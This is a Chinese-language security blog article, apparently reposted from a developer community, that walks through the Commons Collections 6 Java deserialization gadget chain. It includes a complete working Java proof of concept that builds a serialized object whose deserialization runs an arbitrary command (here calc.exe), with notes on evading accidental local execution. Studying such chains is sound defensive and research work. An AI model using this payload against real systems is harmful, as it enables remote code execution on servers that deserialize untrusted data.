CommonCollections6反序列化链分析

间隙填充
正睿科技  发布时间:2024-08-14 13:54:12  浏览数:177

关于正睿.png

 在Java 8u71以后,CC1链就不能在利用了,因为
sun.reflect.annotation.AnnotationInvocationHandler这个类里面的readObject方法逻辑已经发生了改变。修改后的逻辑会把我们构造的Map重新put到LinkedHashMap里当中去,我们构造的反序列化链也随之失效。所以我们需要寻找一个新的类去去解决高版本无法利用问题,而CommonCollections6在commons-collections库里一个比较通用的链。

CC1链回顾

在之前CC1链利用LazyMap链构链中关键步骤就是触发LazyMap类里面的get方法,我们找到了
sun.reflect.annotation.AnnotationInvocationHandler类利用对象代理去触发到了这个方法,现在AnnotationInvocationHandler类的readObject方法里的逻辑发生改变,所以现在需要重新寻找一个类去,那在CC6这条链中,这个类就是java.util.HashSet。

CC6链分析

我们看看java.util.HashSet这个类是怎么触发LazyMap类里面的get方法的

1723613278355095869.jpg

可以看到在HashSet类里的readObject方法里面调用了HashMap的put方法,跟进put


1723613315478071164.jpg

调用hash(key),跟进


1723613358128053373.jpg

调用key.hashCode(),且key是我们传进来的一个Object类,代码走到这,我们所要做的就是寻找一个类,这个类里面存在hashCode方法,且这个hashCode方法存在层层调用关系间接的去调用到LazyMap类里的get方法,然后我们把这个类当作key传到这里的hash方法中。这里找到的类就是

org.apache.commons.collections.keyvalue.TiedMapEntry,来看看这个类的hashCode方法是怎么调用到LazyMap里的get方法的。

1723613461369091714.jpg

调用getValue,跟进


1723613468007081793.jpg

getValue里面调用到了map.get,且这里的map在构造器中可控,所以我们可以把LazyMap.decorate修饰过的Map传进来进而调用它的get方法,至此我们的整个链就可以走通了。

CC6的大致构造如上,具体POC还存在诸多细节,我们如下再逐行进行分析

先上POC

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new
            ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class,
                Object[].class}, new Object[]{null, new
                Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class
            },
                new String[]{"calc.exe"}),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new
            ChainedTransformer(fakeTransformers);

        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

这是P牛的Java安全漫谈里简化的CC6链,其对ysoserial原链⽤
java.util.HashSet.readObject 到 HashMap.put() 到 HashMap.hash(key)做了简化,原因是在java.util.HashMap.readObject方法里就可以找到HashMap.hash()方法的调用,所以省略了ysoserial链里的前两次调用。

代码的第16-38行,先创建了一个fakeTransformers,先把fakeTransformers给放到构造链中,这里的目的是为了防止本地生成序列化流的时候执行到命令,所以先创建了一个无害的数组放进去,最后通过反射来把真正有害的数组再加入进去。其他和CC1链一致,具体构造原理参考CC1链

代码第40行

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

这里把我们构造好的outerMap通过构造器赋值给TiedMapEntry类的map属性

1723613658145098370.jpg

代码的第42-43行

Map expMap = new HashMap(); expMap.put(tme, "valuevalue");

创建了一个HashMap,然后把tme当作key传进去,从而在HashMap的readObject方法里会通过层层调用执行key.hashCode()

1723613511224049122.jpg

1723613514238037998.jpg

这里的key是TiedMapEntry,所以调用TiedMapEntry.hashCod,然后调用之前分析的如下链

TiedMapEntry.hashCod-->TiedMapEntry.getValue

再调用

1723613525715049735.jpg

这里的map就已经是我们构造的outerMap,之后的调用就是CC1链分析过的了,这里就不再叙述了。

另外代码的45行

outerMap.remove("keykey");

这里存在一个缓存机制,当不移除keykey的时候,由于缓存机制的存在,如下的一层if进不去,导致transform不执行

1723613537271029608.jpg

所以我们需要把这个keykey进行移除,进入到这个transform,最终执行命令

疑问没解决? 我们帮您!

如果您在本文中未能找到解决当前疑问的办法,不用担心——正睿专业技术支持团队随时待命

服务项目.png

获取更多帮助

文章来源:阿里云开发者社区 作者:随风kali